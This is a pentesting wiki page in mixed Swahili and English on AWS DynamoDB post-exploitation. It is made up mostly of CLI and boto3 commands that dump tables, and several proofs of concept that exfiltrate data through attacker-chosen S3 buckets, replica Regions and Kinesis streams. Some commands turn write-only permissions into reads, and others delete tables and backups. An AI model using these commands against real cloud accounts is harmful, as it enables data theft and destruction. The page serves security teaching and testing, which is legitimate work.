# AWS - DynamoDB Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` An attacker akiwa na ruhusa hizi ataweza **get items kutoka kwa tables kwa primary key** (hutaweza kuuliza tu data zote za jedwali). Hii inamaanisha unahitaji kujua primary keys (unaweza kupata hizi kupitia metadata ya jedwali (`describe-table`). {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali ### `dynamodb:GetItem` **Sawa na ruhusa zilizotangulia** hii inamruhusu mshambuliaji kusoma thamani kutoka kwenye jedwali 1 tu kwa kutumia funguo kuu ya rekodi anayotaka kupata: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` Kwa ruhusa hii pia inawezekana kutumia njia ya **`transact-get-items`** kama ifuatavyo: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Athari Inayowezekana:** Indirect privesc kwa kupata taarifa nyeti katika jedwali ### `dynamodb:Query` **Sawa na ruhusa zilizotangulia** hii inaruhusu mshambuliaji wa kimaslahi kusoma thamani kutoka kwenye jedwali 1 tu ikitolewa ufunguo kuu (primary key) wa rekodi inayotakiwa. Inaruhusu kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini mlinganisho pekee unaoruhusiwa kwa ufunguo kuu (ambao lazima utajwe) ni "EQ", hivyo huwezi kutumia mlinganisho kupata DB nzima kwa ombi. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Athari Inayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika jedwali ### `dynamodb:Scan` Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali ### `dynamodb:PartiQLSelect` Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` Ruhusa hii pia inaruhusu kufanya `batch-execute-statement` kama: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` lakini unahitaji kutaja funguo kuu na thamani, hivyo haifai sana. **Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kutambua taarifa nyeti katika jedwali ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali lote kwa S3 bucket** anayeichagua: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` Kumbuka kwamba ili hili lifanye kazi, jedwali linapaswa kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina hiyo kwa: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` Iwapo haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa ya **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Athari Inayoweza Kutokea:** Indirect privesc by locating sensitive information in the table ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka backup** (au hata kuunda backup kisha kurejesha katika jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa backups ambazo **haziwezi tena kuwa kwenye jedwali la uzalishaji**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **Potential Impact:** Indirect privesc kwa kupata taarifa nyeti kwenye nakala rudufu ya jedwali ### `dynamodb:PutItem` Ruhusa hii inawawezesha watumiaji kuongeza **rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo** kwa rekodi mpya. Ikiwa rekodi yenye primary key ile ile tayari ipo, **rekodi nzima itabadilishwa** kwa rekodi mpya. Ikiwa primary key haipo, rekodi mpya yenye primary key iliyotajwa itaundwa. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Athari Inayowezekana:** Utekelezaji wa vulnerabilities/bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB ### `dynamodb:UpdateItem` Haki hii inawawezesha watumiaji **kuhariri sifa zilizopo za item au kuongeza sifa mpya kwa item**. **Haibadilishi** item nzima; inasasisha tu sifa zilizobainishwa. Ikiwa primary key haipo katika jedwali, operesheni ita **unda item mpya** yenye primary key iliyobainishwa na kuweka sifa zilizobainishwa kwenye update expression. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Athari Inayowezekana:** Unyonyaji wa vulnerabilities/bypasses zaidi kwa uwezo wa kuongeza au kubadilisha data katika jedwali la DynamoDB ### `dynamodb:DeleteTable` An attacker mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, kusababisha kupoteza data**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **Potential impact**: Kupoteza data na kukatizwa kwa huduma zinazotegemea jedwali lililofutwa. ### `dynamodb:DeleteBackup` Mshambuliaji mwenye ruhusa hii anaweza **kufuta DynamoDB backup, jambo linaloweza kusababisha kupoteza data katika hali ya kurejesha baada ya maafa**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Potential impact**: Upotevu wa data na kutoweza kurejesha kutoka kwa chelezo wakati wa tukio la urejeshaji baada ya msiba. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Jaribu kama hii kwa kweli inafanya kazi An attacker wenye ruhusa hizi anaweza **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Hii inamruhusu attacker kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leakage. 1. Washa stream kwenye jedwali la DynamoDB: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. Eleza stream ili kupata ARN na maelezo mengine: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. Pata shard iterator ukitumia stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` 4. Tumia shard iterator kufikia na exfiltrate data kutoka kwa stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Potential impact**: Ufuatiliaji wa wakati-halisi na data leakage ya mabadiliko ya jedwali la DynamoDB. ### Soma vipengee kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD` Mshambuliaji ambaye ana tu ruhusa ya `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vipengee bila ruhusa za kawaida za kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya update isiyo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarudisha picha kamili ya kipengee kabla ya update katika sehemu ya `Attributes` ya response (hii haitumii RCUs). - Ruhusa za chini: `dynamodb:UpdateItem` kwenye jedwali/funguo lengwa. - Mahitaji ya awali: Lazima ujue funguo kuu ya kipengee. Mfano (inaongeza sifa isiyo hatari na exfiltrates kipengee kilichotangulia kwenye response): ```bash aws dynamodb update-item \ --table-name \ --key '{"":{"S":""}}' \ --update-expression 'SET #m = :v' \ --expression-attribute-names '{"#m":"exfil_marker"}' \ --expression-attribute-values '{":v":{"S":"1"}}' \ --return-values ALL_OLD \ --region ``` The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access. **Athari Inayowezekana:** Soma vipengee vyovyote kutoka kwenye meza ukiwa na ruhusa za kuandika pekee, ikiruhusu uondoaji wa data nyeti wakati funguo kuu zinapojulikana. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` Uondoaji wa siri kwa kuongeza replica mpya ya Region kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa principal anaweza kuongeza regional replica, meza yote itafanywa replicate hadi Region iliyochaguliwa na mshambulizi, ambapo mshambulizi ataweza kusoma vipengee vyote. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} ```bash # Add a new replica Region (from primary Region) aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": ""}}]' \ --region # Wait until the replica table becomes ACTIVE in the replica Region aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' # Exfiltrate by reading from the replica Region aws dynamodb scan --table-name --region ``` {{#endtab }} {{#tab name="PoC (customer-managed KMS)" }} ```bash # Specify the CMK to use in the replica Region aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ --region ``` {{#endtab }} {{#endtabs }} Ruhusa: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Ikiwa CMK inatumiwa kwenye replica, ruhusa za KMS kwa key hiyo zinaweza kuhitajika. Athari Inayowezekana: Replication ya jedwali zima kwenda Region inayodhibitiwa na mshambuliaji, ikisababisha data exfiltration kwa njia ya siri. ### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) Mshambuliaji mwenye transactional write privileges anaweza exfiltrate sifa zote za item iliyopo kwa kufanya `Update` ndani ya `TransactWriteItems` ambayo kwa makusudi inashindwa kwenye `ConditionExpression` wakati ikiteua `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Katika kushindwa, DynamoDB hujumuisha sifa za awali katika sababu za kughairi muamala, kwa hivyo kubadilisha write-only access kuwa read access ya keys zilizolengwa. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} ```bash # Create the transaction input (list form for --transact-items) cat > /tmp/tx_items.json << 'JSON' [ { "Update": { "TableName": "", "Key": {"": {"S": ""}}, "UpdateExpression": "SET #m = :v", "ExpressionAttributeNames": {"#m": "marker"}, "ExpressionAttributeValues": {":v": {"S": "x"}}, "ConditionExpression": "attribute_not_exists()", "ReturnValuesOnConditionCheckFailure": "ALL_OLD" } } ] JSON # Execute. Newer AWS CLI versions support returning cancellation reasons aws dynamodb transact-write-items \ --transact-items file:///tmp/tx_items.json \ --region \ --return-cancellation-reasons # The command fails with TransactionCanceledException; parse cancellationReasons[0].Item ``` {{#endtab }} {{#tab name="PoC (boto3)" }} ```python import boto3 c=boto3.client('dynamodb',region_name='') try: c.transact_write_items(TransactItems=[{ 'Update': { 'TableName':'', 'Key':{'':{'S':''}}, 'UpdateExpression':'SET #m = :v', 'ExpressionAttributeNames':{'#m':'marker'}, 'ExpressionAttributeValues':{':v':{'S':'x'}}, 'ConditionExpression':'attribute_not_exists()', 'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) except c.exceptions.TransactionCanceledException as e: print(e.response['CancellationReasons'][0]['Item']) ``` {{#endtab }} {{#endtabs }} Ruhusa: `dynamodb:TransactWriteItems` kwenye jedwali lengwa (na item ya msingi). Hakuna ruhusa za kusoma zinahitajika. Athari Inayoweza Kutokea: Kusoma items yoyote (kwa primary key) kutoka kwenye jedwali ukitumia tu ruhusa za kuandika za muamala kupitia sababu za kughairi (cancellation reasons) zilizorejeshwa. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI Pitia vizuizi vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye sifa yenye entropy ya chini, weka sifa hiyo kuwa thamani thabiti kwa items zote, kisha `Query` index ili kupata items kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza kuuliza ARN ya index. - Minimum permissions: - `dynamodb:UpdateTable` kwenye jedwali lengwa (kuunda GSI yenye `ProjectionType=ALL`). - `dynamodb:UpdateItem` kwenye funguo za jedwali lengwa (kuweka sifa iliyowekwa kama index kwenye kila item). - `dynamodb:Query` kwenye ARN ya rasilimali ya index (`arn:aws:dynamodb:::table//index/`). Hatua (PoC katika us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 for i in 1 2 3 4 5; do \ aws dynamodb put-item --table-name HTXIdx \ --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ --region us-east-1; done # 2) Add GSI on attribute X with ProjectionType=ALL aws dynamodb update-table --table-name HTXIdx \ --attribute-definitions AttributeName=X,AttributeType=S \ --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ --region us-east-1 # Wait for index to become ACTIVE aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' # 3) Set X="dump" for each item (only UpdateItem on known keys) for i in 1 2 3 4 5; do \ aws dynamodb update-item --table-name HTXIdx \ --key "{\"id\":{\"S\":\"$i\"}}" \ --update-expression 'SET #x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1; done # 4) Query the index by the constant value to retrieve full items aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --key-condition-expression '#x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` **Athari Inayoweza Kutokea:** Uondoaji kamili wa data za jedwali kwa ku-query GSI mpya iliyotengenezwa ambayo inayoonyesha sifa zote, hata wakati APIs za kusoma za jedwali la msingi zimekataliwa. ### `dynamodb:EnableKinesisStreamingDestination` (Uhamisho unaoendelea wa data kupitia Kinesis Data Streams) Kutumia vibaya DynamoDB Kinesis streaming destinations kuendelea kutoa mabadiliko kutoka kwenye jedwali hadi Kinesis Data Stream inayodhibitiwa na mshambuliaji. Mara inapowezeshwa, kila tukio la INSERT/MODIFY/REMOVE linarushwa karibu kwa wakati halisi kwenye stream bila ya kuhitaji ruhusa za kusoma kwenye jedwali. Ruhusa za chini kabisa (mshambuliaji): - `dynamodb:EnableKinesisStreamingDestination` kwenye jedwali lengwa - Hiari `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` ili kufuatilia hali - Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na mshambuliaji ili kusoma rekodi: `kinesis:*`
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}} # 2) Create attacker Kinesis Data Stream aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 # 3) Enable the DynamoDB -> Kinesis streaming destination STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 # Optionally wait until ACTIVE aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus # 4) Generate changes on the table aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item2.json --region us-east-1 # /tmp/htx_item2.json # {"id":{"S":"a2"},"secret":{"S":"s-2"}} aws dynamodb update-item --table-name HTXKStream \ --key file:///tmp/htx_key_a1.json \ --update-expression "SET #i = :v" \ --expression-attribute-names {#i:info} \ --expression-attribute-values {:v:{S:updated}} \ --region us-east-1 # /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} # 5) Consume from Kinesis to observe DynamoDB images SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ --query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json # Decode one record (Data is base64-encoded) jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . # 6) Cleanup (recommended) aws dynamodb disable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
**Athari Inayoweza Kutokea:** Exfiltration endelevu, karibu kwa wakati halisi, ya mabadiliko ya jedwali kwa Kinesis stream inayodhibitiwa na mshambuliaji bila shughuli za kusoma za moja kwa moja kwenye jedwali. {{#include ../../../../banners/hacktricks-training.md}}